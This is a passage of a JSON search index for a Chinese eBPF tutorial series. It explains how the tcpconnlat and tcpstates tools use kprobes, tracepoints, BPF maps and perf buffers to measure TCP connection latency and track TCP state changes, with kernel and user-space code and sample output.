的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 总结","id":"71","title":"总结"},"72":{"body":"eBPF (Extended Berkeley Packet Filter) 是一项强大的网络和性能分析工具，被应用在 Linux 内核上。eBPF 允许开发者动态加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 本文是 eBPF 入门开发实践教程的第十三篇，主要介绍如何使用 eBPF 统计 TCP 连接延时，并使用 libbpf 在用户态处理数据。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » eBPF入门开发实践教程十三：统计 TCP 连接延时，并使用 libbpf 在用户态处理数据","id":"72","title":"eBPF入门开发实践教程十三：统计 TCP 连接延时，并使用 libbpf 在用户态处理数据"},"73":{"body":"在进行后端开发时，不论使用何种编程语言，我们都常常需要调用 MySQL、Redis 等数据库，或执行一些 RPC 远程调用，或者调用其他的 RESTful API。这些调用的底层，通常都是基于 TCP 协议进行的。原因是 TCP 协议具有可靠连接、错误重传、拥塞控制等优点，因此在网络传输层协议中，TCP 的应用广泛程度超过了 UDP。然而，TCP 也有一些缺点，如建立连接的延时较长。因此，也出现了一些替代方案，例如 QUIC（Quick UDP Internet Connections，快速 UDP 网络连接）。 分析 TCP 连接延时对网络性能分析、优化以及故障排查都非常有用。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 背景","id":"73","title":"背景"},"74":{"body":"tcpconnlat 这个工具能够跟踪内核中执行活动 TCP 连接的函数（如通过 connect() 系统调用），并测量并显示连接延时，即从发送 SYN 到收到响应包的时间。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcpconnlat 工具概述","id":"74","title":"tcpconnlat 工具概述"},"75":{"body":"TCP 连接的建立过程，常被称为“三次握手”（Three-way Handshake）。以下是整个过程的步骤： 客户端向服务器发送 SYN 包：客户端通过 connect() 系统调用发出 SYN。这涉及到本地的系统调用以及软中断的 CPU 时间开销。 SYN 包传送到服务器：这是一次网络传输，涉及到的时间取决于网络延迟。 服务器处理 SYN 包：服务器内核通过软中断接收包，然后将其放入半连接队列，并发送 SYN/ACK 响应。这主要涉及 CPU 时间开销。 SYN/ACK 包传送到客户端：这是另一次网络传输。 客户端处理 SYN/ACK：客户端内核接收并处理 SYN/ACK 包，然后发送 ACK。这主要涉及软中断处理开销。 ACK 包传送到服务器：这是第三次网络传输。 服务器接收 ACK：服务器内核接收并处理 ACK，然后将对应的连接从半连接队列移动到全连接队列。这涉及到一次软中断的 CPU 开销。 唤醒服务器端用户进程：被 accept() 系统调用阻塞的用户进程被唤醒，然后从全连接队列中取出来已经建立好的连接。这涉及一次上下文切换的CPU开销。 完整的流程图如下所示： tcpconnlat1 在客户端视角，在正常情况下一次TCP连接总的耗时也就就大约是一次网络RTT的耗时。但在某些情况下，可能会导致连接时的网络传输耗时上涨、CPU处理开销增加、甚至是连接失败。这种时候在发现延时过长之后，就可以结合其他信息进行分析。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » TCP 连接原理","id":"75","title":"TCP 连接原理"},"76":{"body":"为了理解 TCP 的连接建立过程，我们需要理解 Linux 内核在处理 TCP 连接时所使用的两个队列： 半连接队列（SYN 队列）：存储那些正在进行三次握手操作的 TCP 连接，服务器收到 SYN 包后，会将该连接信息存储在此队列中。 全连接队列（Accept 队列）：存储已经完成三次握手，等待应用程序调用 accept() 函数的 TCP 连接。服务器在收到 ACK 包后，会创建一个新的连接并将其添加到此队列。 理解了这两个队列的用途，我们就可以开始探究 tcpconnlat 的具体实现。tcpconnlat 的实现可以分为内核态和用户态两个部分，其中包括了几个主要的跟踪点：tcp_v4_connect, tcp_v6_connect 和 tcp_rcv_state_process。 这些跟踪点主要位于内核中的 TCP/IP 网络栈。当执行相关的系统调用或内核函数时，这些跟踪点会被激活，从而触发 eBPF 程序的执行。这使我们能够捕获和测量 TCP 连接建立的整个过程。 让我们先来看一下这些挂载点的源代码： SEC(\"kprobe/tcp_v4_connect\")\nint BPF_KPROBE(tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_v6_connect\")\nint BPF_KPROBE(tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_rcv_state_process\")\nint BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} 这段代码展示了三个内核探针（kprobe）的定义。tcp_v4_connect 和 tcp_v6_connect 在对应的 IPv4 和 IPv6 连接被初始化时被触发，调用 trace_connect() 函数，而 tcp_rcv_state_process 在内核处理 TCP 连接状态变化时被触发，调用 handle_tcp_rcv_state_process() 函数。 接下来的部分将分为两大块：一部分是对这些挂载点内核态部分的分析，我们将解读内核源代码来详细说明这些函数如何工作；另一部分是用户态的分析，将关注 eBPF 程序如何收集这些挂载点的数据，以及如何与用户态程序进行交互。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcpconnlat 的 eBPF 实现","id":"76","title":"tcpconnlat 的 eBPF 实现"},"77":{"body":"tcp_v4_connect函数是Linux内核处理TCP的IPv4连接请求的主要方式。当用户态程序通过socket系统调用创建了一个套接字后，接着通过connect系统调用尝试连接到远程服务器，此时就会触发tcp_v4_connect函数。 /* This will initiate an outgoing connection. */\nint tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)\n{ struct sockaddr_in *usin = (struct sockaddr_in *)uaddr; struct inet_timewait_death_row *tcp_death_row; struct inet_sock *inet = inet_sk(sk); struct tcp_sock *tp = tcp_sk(sk); struct ip_options_rcu *inet_opt; struct net *net = sock_net(sk); __be16 orig_sport, orig_dport; __be32 daddr, nexthop; struct flowi4 *fl4; struct rtable *rt; int err; if (addr_len < sizeof(struct sockaddr_in)) return -EINVAL; if (usin->sin_family != AF_INET) return -EAFNOSUPPORT; nexthop = daddr = usin->sin_addr.s_addr; inet_opt = rcu_dereference_protected(inet->inet_opt, lockdep_sock_is_held(sk)); if (inet_opt && inet_opt->opt.srr) { if (!daddr) return -EINVAL; nexthop = inet_opt->opt.faddr; } orig_sport = inet->inet_sport; orig_dport = usin->sin_port; fl4 = &inet->cork.fl.u.ip4; rt = ip_route_connect(fl4, nexthop, inet->inet_saddr, sk->sk_bound_dev_if, IPPROTO_TCP, orig_sport, orig_dport, sk); if (IS_ERR(rt)) { err = PTR_ERR(rt); if (err == -ENETUNREACH) IP_INC_STATS(net, IPSTATS_MIB_OUTNOROUTES); return err; } if (rt->rt_flags & (RTCF_MULTICAST | RTCF_BROADCAST)) { ip_rt_put(rt); return -ENETUNREACH; } if (!inet_opt || !inet_opt->opt.srr) daddr = fl4->daddr; tcp_death_row = &sock_net(sk)->ipv4.tcp_death_row; if (!inet->inet_saddr) { err = inet_bhash2_update_saddr(sk, &fl4->saddr, AF_INET); if (err) { ip_rt_put(rt); return err; } } else { sk_rcv_saddr_set(sk, inet->inet_saddr); } if (tp->rx_opt.ts_recent_stamp && inet->inet_daddr != daddr) { /* Reset inherited state */ tp->rx_opt.ts_recent = 0; tp->rx_opt.ts_recent_stamp = 0; if (likely(!tp->repair)) WRITE_ONCE(tp->write_seq, 0); } inet->inet_dport = usin->sin_port; sk_daddr_set(sk, daddr); inet_csk(sk)->icsk_ext_hdr_len = 0; if (inet_opt) inet_csk(sk)->icsk_ext_hdr_len = inet_opt->opt.optlen; tp->rx_opt.mss_clamp = TCP_MSS_DEFAULT; /* Socket identity is still unknown (sport may be zero). * However we set state to SYN-SENT and not releasing socket * lock select source port, enter ourselves into the hash tables and * complete initialization after this. */ tcp_set_state(sk, TCP_SYN_SENT); err = inet_hash_connect(tcp_death_row, sk); if (err) goto failure; sk_set_txhash(sk); rt = ip_route_newports(fl4, rt, orig_sport, orig_dport, inet->inet_sport, inet->inet_dport, sk); if (IS_ERR(rt)) { err = PTR_ERR(rt); rt = NULL; goto failure; } /* OK, now commit destination to socket. */ sk->sk_gso_type = SKB_GSO_TCPV4; sk_setup_caps(sk, &rt->dst); rt = NULL; if (likely(!tp->repair)) { if (!tp->write_seq) WRITE_ONCE(tp->write_seq, secure_tcp_seq(inet->inet_saddr, inet->inet_daddr, inet->inet_sport, usin->sin_port)); tp->tsoffset = secure_tcp_ts_off(net, inet->inet_saddr, inet->inet_daddr); } inet->inet_id = get_random_u16(); if (tcp_fastopen_defer_connect(sk, &err)) return err; if (err) goto failure; err = tcp_connect(sk); if (err) goto failure; return 0; failure: /* * This unhashes the socket and releases the local port, * if necessary. */ tcp_set_state(sk, TCP_CLOSE); inet_bhash2_reset_saddr(sk); ip_rt_put(rt); sk->sk_route_caps = 0; inet->inet_dport = 0; return err;\n}\nEXPORT_SYMBOL(tcp_v4_connect); 参考链接： https://elixir.bootlin.com/linux/latest/source/net/ipv4/tcp_ipv4.c#L340 接下来，我们一步步分析这个函数： 首先，这个函数接收三个参数：一个套接字指针sk，一个指向套接字地址结构的指针uaddr和地址的长度addr_len。 int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) 函数一开始就进行了参数检查，确认地址长度正确，而且地址的协议族必须是IPv4。不满足这些条件会导致函数返回错误。 接下来，函数获取目标地址，如果设置了源路由选项（这是一个高级的IP特性，通常不会被使用），那么它还会获取源路由的下一跳地址。 nexthop = daddr = usin->sin_addr.s_addr;\ninet_opt = rcu_dereference_protected(inet->inet_opt, lockdep_sock_is_held(sk));\nif (inet_opt && inet_opt->opt.srr) { if (!daddr) return -EINVAL; nexthop = inet_opt->opt.faddr;\n} 然后，使用这些信息来寻找一个路由到目标地址的路由项。如果不能找到路由项或者路由项指向一个多播或广播地址，函数返回错误。 接下来，它更新了源地址，处理了一些TCP时间戳选项的状态，并设置了目标端口和地址。之后，它更新了一些其他的套接字和TCP选项，并设置了连接状态为SYN-SENT。 然后，这个函数使用inet_hash_connect函数尝试将套接字添加到已连接的套接字的散列表中。如果这步失败，它会恢复套接字的状态并返回错误。 如果前面的步骤都成功了，接着，使用新的源和目标端口来更新路由项。如果这步失败，它会清理资源并返回错误。 接下来，它提交目标信息到套接字，并为之后的分段偏移选择一个安全的随机值。 然后，函数尝试使用TCP Fast Open（TFO）进行连接，如果不能使用TFO或者TFO尝试失败，它会使用普通的TCP三次握手进行连接。 最后，如果上面的步骤都成功了，函数返回成功，否则，它会清理所有资源并返回错误。 总的来说，tcp_v4_connect函数是一个处理TCP连接请求的复杂函数，它处理了很多情况，包括参数检查、路由查找、源地址选择、源路由、TCP选项处理、TCP Fast Open，等等。它的主要目标是尽可能安全和有效地建立TCP连接。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcp_v4_connect 函数解析","id":"77","title":"tcp_v4_connect 函数解析"},"78":{"body":"// SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include \n#include \n#include \n#include \n#include \"tcpconnlat.h\" #define AF_INET 2\n#define AF_INET6 10 const volatile __u64 targ_min_us = 0;\nconst volatile pid_t targ_tgid = 0; struct piddata { char comm[TASK_COMM_LEN]; u64 ts; u32 tgid;\n}; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 4096); __type(key, struct sock *); __type(value, struct piddata);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); static int trace_connect(struct sock *sk)\n{ u32 tgid = bpf_get_current_pid_tgid() >> 32; struct piddata piddata = {}; if (targ_tgid && targ_tgid != tgid) return 0; bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); piddata.ts = bpf_ktime_get_ns(); piddata.tgid = tgid; bpf_map_update_elem(&start, &sk, &piddata, 0); return 0;\n} static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)\n{ struct piddata *piddatap; struct event event = {}; s64 delta; u64 ts; if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) return 0; piddatap = bpf_map_lookup_elem(&start, &sk); if (!piddatap) return 0; ts = bpf_ktime_get_ns(); delta = (s64)(ts - piddatap->ts); if (delta < 0) goto cleanup; event.delta_us = delta / 1000U; if (targ_min_us && event.delta_us < targ_min_us) goto cleanup; __builtin_memcpy(&event.comm, piddatap->comm, sizeof(event.comm)); event.ts_us = ts / 1000; event.tgid = piddatap->tgid; event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); event.af = BPF_CORE_READ(sk, __sk_common.skc_family); if (event.af == AF_INET) { event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); } else { BPF_CORE_READ_INTO(&event.saddr_v6, sk, __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); BPF_CORE_READ_INTO(&event.daddr_v6, sk, __sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); cleanup: bpf_map_delete_elem(&start, &sk); return 0;\n} SEC(\"kprobe/tcp_v4_connect\")\nint BPF_KPROBE(tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_v6_connect\")\nint BPF_KPROBE(tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_rcv_state_process\")\nint BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} SEC(\"fentry/tcp_v4_connect\")\nint BPF_PROG(fentry_tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"fentry/tcp_v6_connect\")\nint BPF_PROG(fentry_tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"fentry/tcp_rcv_state_process\")\nint BPF_PROG(fentry_tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这个eBPF（Extended Berkeley Packet Filter）程序主要用来监控并收集TCP连接的建立时间，即从发起TCP连接请求(connect系统调用)到连接建立完成(SYN-ACK握手过程完成)的时间间隔。这对于监测网络延迟、服务性能分析等方面非常有用。 首先，定义了两个eBPF maps：start和events。start是一个哈希表，用于存储发起连接请求的进程信息和时间戳，而events是一个PERF_EVENT_ARRAY类型的map，用于将事件数据传输到用户态。 struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 4096); __type(key, struct sock *); __type(value, struct piddata);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); 在tcp_v4_connect和tcp_v6_connect的kprobe处理函数trace_connect中，会记录下发起连接请求的进程信息（进程名、进程ID和当前时间戳），并以socket结构作为key，存储到start这个map中。 static int trace_connect(struct sock *sk)\n{ u32 tgid = bpf_get_current_pid_tgid() >> 32; struct piddata piddata = {}; if (targ_tgid && targ_tgid != tgid) return 0; bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); piddata.ts = bpf_ktime_get_ns(); piddata.tgid = tgid; bpf_map_update_elem(&start, &sk, &piddata, 0); return 0;\n} 当TCP状态机处理到SYN-ACK包，即连接建立的时候，会触发tcp_rcv_state_process的kprobe处理函数handle_tcp_rcv_state_process。在这个函数中，首先检查socket的状态是否为SYN-SENT，如果是，会从start这个map中查找socket对应的进程信息。然后计算出从发起连接到现在的时间间隔，将该时间间隔，进程信息，以及TCP连接的详细信息（源端口，目标端口，源IP，目标IP等）作为event，通过bpf_perf_event_output函数发送到用户态。 static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)\n{ struct piddata *piddatap; struct event event = {}; s64 delta; u64 ts; if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) return 0; piddatap = bpf_map_lookup_elem(&start, &sk); if (!piddatap) return 0; ts = bpf_ktime_get_ns(); delta = (s64)(ts - piddatap->ts); if (delta < 0) goto cleanup; event.delta_us = delta / 1000U; if (targ_min_us && event.delta_us < targ_min_us) goto cleanup; __builtin_memcpy(&event.comm, piddatap->comm, sizeof(event.comm)); event.ts_us = ts / 1000; event.tgid = piddatap->tgid; event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); event.af = BPF_CORE_READ(sk, __sk_common.skc_family); if (event.af == AF_INET) { event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); } else { BPF_CORE_READ_INTO(&event.saddr_v6, sk, __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); BPF_CORE_READ_INTO(&event.daddr_v6, sk, __sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); cleanup: bpf_map_delete_elem(&start, &sk); return 0;\n} 理解这个程序的关键在于理解Linux内核的网络栈处理流程，以及eBPF程序的运行模式。Linux内核网络栈对TCP连接建立的处理过程是，首先调用tcp_v4_connect或tcp_v6_connect函数（根据IP版本不同）发起TCP连接，然后在收到SYN-ACK包时，通过tcp_rcv_state_process函数来处理。eBPF程序通过在这两个关键函数上设置kprobe，可以在关键时刻得到通知并执行相应的处理代码。 一些关键概念说明： kprobe：Kernel Probe，是Linux内核中用于动态追踪内核行为的机制。可以在内核函数的入口和退出处设置断点，当断点被触发时，会执行与kprobe关联的eBPF程序。 map：是eBPF程序中的一种数据结构，用于在内核态和用户态之间共享数据。 socket：在Linux网络编程中，socket是一个抽象概念，表示一个网络连接的端点。内核中的struct sock结构就是对socket的实现。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 内核态代码","id":"78","title":"内核态代码"},"79":{"body":"用户态数据处理是使用perf_buffer__poll来接收并处理从内核发送到用户态的eBPF事件。perf_buffer__poll是libbpf库提供的一个便捷函数，用于轮询perf event buffer并处理接收到的数据。 首先，让我们详细看一下主轮询循环： /* main: poll */ while (!exiting) { err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); if (err < 0 && err != -EINTR) { fprintf(stderr, \"error polling perf buffer: %s\\n\", strerror(-err)); goto cleanup; } /* reset err to return 0 if exiting */ err = 0; } 这段代码使用一个while循环来反复轮询perf event buffer。如果轮询出错（例如由于信号中断），会打印出错误消息。这个轮询过程会一直持续，直到收到一个退出标志exiting。 接下来，让我们来看看handle_event函数，这个函数将处理从内核发送到用户态的每一个eBPF事件： void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { const struct event* e = data; char src[INET6_ADDRSTRLEN]; char dst[INET6_ADDRSTRLEN]; union { struct in_addr x4; struct in6_addr x6; } s, d; static __u64 start_ts; if (env.timestamp) { if (start_ts == 0) start_ts = e->ts_us; printf(\"%-9.3f \", (e->ts_us - start_ts) / 1000000.0); } if (e->af == AF_INET) { s.x4.s_addr = e->saddr_v4; d.x4.s_addr = e->daddr_v4; } else if (e->af == AF_INET6) { memcpy(&s.x6.s6_addr, e->saddr_v6, sizeof(s.x6.s6_addr)); memcpy(&d.x6.s6_addr, e->daddr_v6, sizeof(d.x6.s6_addr)); } else { fprintf(stderr, \"broken event: event->af=%d\", e->af); return; } if (env.lport) { printf(\"%-6d %-12.12s %-2d %-16s %-6d %-16s %-5d %.2f\\n\", e->tgid, e->comm, e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)), e->lport, inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), e->delta_us / 1000.0); } else { printf(\"%-6d %-12.12s %-2d %-16s %-16s %-5d %.2f\\n\", e->tgid, e->comm, e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)), inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), e->delta_us / 1000.0); }\n} handle_event函数的参数包括了CPU编号、指向数据的指针以及数据的大小。数据是一个event结构体，包含了之前在内核态计算得到的TCP连接的信息。 首先，它将接收到的事件的时间戳和起始时间戳（如果存在）进行对比，计算出事件的相对时间，并打印出来。接着，根据IP地址的类型（IPv4或IPv6），将源地址和目标地址从网络字节序转换为主机字节序。 最后，根据用户是否选择了显示本地端口，将进程ID、进程名称、IP版本、源IP地址、本地端口（如果有）、目标IP地址、目标端口以及连接建立时间打印出来。这个连接建立时间是我们在内核态eBPF程序中计算并发送到用户态的。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 用户态数据处理","id":"79","title":"用户态数据处理"},"8":{"body":"BCC全称为BPF Compiler Collection，该项目是一个python库， 包含了完整的编写、编译、和加载BPF程序的工具链，以及用于调试和诊断性能问题的工具。 自2015年发布以来，BCC经过上百位贡献者地不断完善后，目前已经包含了大量随时可用的跟踪工具。 其官方项目库 提供了一个方便上手的教程，用户可以快速地根据教程完成BCC入门工作。 用户可以在BCC上使用Python、Lua等高级语言进行编程。 相较于使用C语言直接编程，这些高级语言具有极大的便捷性，用户只需要使用C来设计内核中的 BPF程序，其余包括编译、解析、加载等工作在内，均可由BCC完成。 然而使用BCC存在一个缺点便是在于其兼容性并不好。基于BCC的 eBPF程序每次执行时候都需要进行编译，编译则需要用户配置相关的头文件和对应实现。在实际应用中， 相信大家也会有体会，编译依赖问题是一个很棘手的问题。也正是因此，在本项目的开发中我们放弃了BCC， 选择了可以做到一次编译-多次运行的libbpf-bootstrap工具。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » BCC","id":"8","title":"BCC"},"80":{"body":"$ make\n... BPF .output/tcpconnlat.bpf.o GEN-SKEL .output/tcpconnlat.skel.h CC .output/tcpconnlat.o BINARY tcpconnlat\n$ sudo ./tcpconnlat PID COMM IP SADDR DADDR DPORT LAT(ms)\n222564 wget 4 192.168.88.15 110.242.68.3 80 25.29\n222684 wget 4 192.168.88.15 167.179.101.42 443 246.76\n222726 ssh 4 192.168.88.15 167.179.101.42 22 241.17\n222774 ssh 4 192.168.88.15 1.15.149.151 22 25.31 源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/13-tcpconnlat 参考资料： tcpconnlat","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 编译运行","id":"80","title":"编译运行"},"81":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用 eBPF 来跟踪和统计 TCP 连接建立的延时。我们首先深入探讨了 eBPF 程序如何在内核态监听特定的内核函数，然后通过捕获这些函数的调用，从而得到连接建立的起始时间和结束时间，计算出延时。 我们还进一步了解了如何使用 BPF maps 来在内核态存储和查询数据，从而在 eBPF 程序的多个部分之间共享数据。同时，我们也探讨了如何使用 perf events 来将数据从内核态发送到用户态，以便进一步处理和展示。 在用户态，我们介绍了如何使用 libbpf 库的 API，例如 perf_buffer__poll，来接收和处理内核态发送过来的数据。我们还讲解了如何对这些数据进行解析和打印，使得它们能以人类可读的形式显示出来。 如果您希望学习更多关于 eBPF 的知识和实践，请查阅 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 总结","id":"81","title":"总结"},"82":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 在我们的 eBPF 入门实践教程系列的这一篇，我们将介绍两个示例程序：tcpstates 和 tcprtt。tcpstates 用于记录 TCP 连接的状态变化，而 tcprtt 则用于记录 TCP 的往返时间 (RTT, Round-Trip Time)。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » eBPF入门实践教程十四：记录 TCP 连接状态与 TCP RTT","id":"82","title":"eBPF入门实践教程十四：记录 TCP 连接状态与 TCP RTT"},"83":{"body":"网络质量在当前的互联网环境中至关重要。影响网络质量的因素有许多，包括硬件、网络环境、软件编程的质量等。为了帮助用户更好地定位网络问题，我们引入了 tcprtt 这个工具。tcprtt 可以监控 TCP 链接的往返时间，从而评估网络质量，帮助用户找出可能的问题所在。 当 TCP 链接建立时，tcprtt 会自动根据当前系统的状况，选择合适的执行函数。在执行函数中，tcprtt 会收集 TCP 链接的各项基本信息，如源地址、目标地址、源端口、目标端口、耗时等，并将这些信息更新到直方图型的 BPF map 中。运行结束后，tcprtt 会通过用户态代码，将收集的信息以图形化的方式展示给用户。 tcpstates 则是一个专门用来追踪和打印 TCP 连接状态变化的工具。它可以显示 TCP 连接在每个状态中的停留时长，单位为毫秒。例如，对于一个单独的 TCP 会话，tcpstates 可以打印出类似以下的输出： SKADDR C-PID C-COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS\nffff9fd7e8192000 22384 curl 100.66.100.185 0 52.33.159.26 80 CLOSE -> SYN_SENT 0.000\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 SYN_SENT -> ESTABLISHED 1.373\nffff9fd7e8192000 22384 curl 100.66.100.185 63446 52.33.159.26 80 ESTABLISHED -> FIN_WAIT1 176.042\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT1 -> FIN_WAIT2 0.536\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT2 -> CLOSE 0.006 以上输出中，最多的时间被花在了 ESTABLISHED 状态，也就是连接已经建立并在传输数据的状态，这个状态到 FIN_WAIT1 状态（开始关闭连接的状态）的转变过程中耗费了 176.042 毫秒。 在我们接下来的教程中，我们会更深入地探讨这两个工具，解释它们的实现原理，希望这些内容对你在使用 eBPF 进行网络和性能分析方面的工作有所帮助。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcprtt 与 tcpstates","id":"83","title":"tcprtt 与 tcpstates"},"84":{"body":"由于篇幅所限，这里我们主要讨论和分析对应的 eBPF 内核态代码实现。以下是 tcpstate 的 eBPF 代码： const volatile bool filter_by_sport = false;\nconst volatile bool filter_by_dport = false;\nconst volatile short target_family = 0; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u16); __type(value, __u16);\n} sports SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u16); __type(value, __u16);\n} dports SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, struct sock *); __type(value, __u64);\n} timestamps SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(__u32)); __uint(value_size, sizeof(__u32));\n} events SEC(\".maps\"); SEC(\"tracepoint/sock/inet_sock_set_state\")\nint handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx)\n{ struct sock *sk = (struct sock *)ctx->skaddr; __u16 family = ctx->family; __u16 sport = ctx->sport; __u16 dport = ctx->dport; __u64 *tsp, delta_us, ts; struct event event = {}; if (ctx->protocol != IPPROTO_TCP) return 0; if (target_family && target_family != family) return 0; if (filter_by_sport && !bpf_map_lookup_elem(&sports, &sport)) return 0; if (filter_by_dport && !bpf_map_lookup_elem(&dports, &dport)) return 0; tsp = bpf_map_lookup_elem(×tamps, &sk); ts = bpf_ktime_get_ns(); if (!tsp) delta_us = 0; else delta_us = (ts - *tsp) / 1000; event.skaddr = (__u64)sk; event.ts_us = ts / 1000; event.delta_us = delta_us; event.pid = bpf_get_current_pid_tgid() >> 32; event.oldstate = ctx->oldstate; event.newstate = ctx->newstate; event.family = family; event.sport = sport; event.dport = dport; bpf_get_current_comm(&event.task, sizeof(event.task)); if (family == AF_INET) { bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_rcv_saddr); bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_daddr); } else { /* family == AF_INET6 */ bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); if (ctx->newstate == TCP_CLOSE) bpf_map_delete_elem(×tamps, &sk); else bpf_map_update_elem(×tamps, &sk, &ts, BPF_ANY); return 0;\n} tcpstates主要依赖于 eBPF 的 Tracepoints 来捕获 TCP 连接的状态变化，从而跟踪 TCP 连接在每个状态下的停留时间。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcpstate","id":"84","title":"tcpstate"},"85":{"body":"在tcpstates程序中，首先定义了几个 BPF Maps，它们是 eBPF 程序和用户态程序之间交互的主要方式。sports和dports分别用于存储源端口和目标端口，用于过滤 TCP 连接；timestamps用于存储每个 TCP 连接的时间戳，以计算每个状态的停留时间；events则是一个 perf_event 类型的 map，用于将事件数据发送到用户态。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 定义 BPF 